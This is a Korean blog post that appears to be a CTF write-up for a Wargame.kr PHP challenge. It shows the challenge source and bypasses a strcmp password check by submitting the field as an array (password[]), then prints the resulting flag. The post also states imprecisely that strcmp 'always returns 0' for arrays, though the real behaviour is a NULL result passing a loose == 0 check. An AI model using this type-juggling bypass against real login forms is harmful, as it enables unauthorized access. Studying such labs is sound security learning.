패스워드 입력창이 나오는데 소스를 보기로 했다.

 

<?php
    require("../lib.php"); // for auth_code function

    $password = sha1(md5(rand().file_get_contents("/var/lib/dummy_file")).rand());

    if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
    }else if(isset($_POST['password'])){
        sleep(1); // do not brute force!
        if (strcmp($_POST['password'], $password) == 0) {
            echo "Congratulations! Flag is <b>" . auth_code("strcmp") ."</b>";
            exit();
        } else {
            echo "Wrong password..";
        }
    }

?>
<br />
<br />
<form method="POST">
    password : <input type="text" name="password" /> <input type="submit" value="chk">
</form>
<br />
<a href="?view-source">view-source</a>

 

여기서 중요하게 살펴볼것은 

 

if (strcmp($_POST['password'], $password) == 0) {
            echo "Congratulations! Flag is <b>" . auth_code("strcmp") ."</b>";

 

password 값과 일치 하면 congratulations 라는 말과 함께 플래그를 넘겨준다.

 

$password = sha1(md5(rand().file_get_contents("/var/lib/dummy_file")).rand());

 

$password값은 랜덤함수 돌린 값을 md5 해쉬암호화를 한 후, sha1 해쉬 암호화를 더 한다.

이 암호를 맞추는 것은 사실상 불가능하며 strcmp 우회를 해야 한다.

php stcmp 문자열 비교 함수는 strcmp($a, $b)에서 두 값이 같으면 0을 반환하며, $a가 작으면 음수값을, 크면 양수값을 반환한다

 

여기서 핵심은 두 문자열이 같을 때 0을 반환한다.

하지만 strcmp 함수는 문자열과 배열을 비교했을때도 NULL을 반환한다.

그리고 문자열과 배열을 비교하게되면 무조건 0을 반환한다. 

그럼 배열형태로 바꿔주면 되지  않을까?

 

/var/lib/dummy_file에서 password를 랜덤으로 가져오는데 입력값이 password와 같아야 한다. => 0을 반환하면 됨

 

<form method="POST">
    password : <input type="text" name="password" /> <input type="submit" value="chk">
</form>
<br />
<a href="?view-source">view-source</a>​

 

여기서 password를 배열형태로 바꿔주었다.

 

 password : <input type="text" name="password[]" /> <input type="submit" value="chk">

 

아무값이나 입력해줘도 이미 password는 배열로 선언을 해주었기 때문에 항상 0을 반환할것이다.

그러면 플래그 값이 나올것이다.

 

Congratulations! Flag is ace988be45c213cd4575884d30007cd25370010b

 

성공

'CTF > WebHacking' 카테고리의 다른 글

WebHacking.kr old-26  (0) 2024.01.28
Wargame.kr - fly me to the moon  (0) 2021.02.16
Wargame.kr - WTF_CODE  (0) 2021.02.13
Wargame.kr - login filtering  (0) 2021.02.12
Wargame.kr - QR CODE PUZZLE  (0) 2021.02.11

+ Recent posts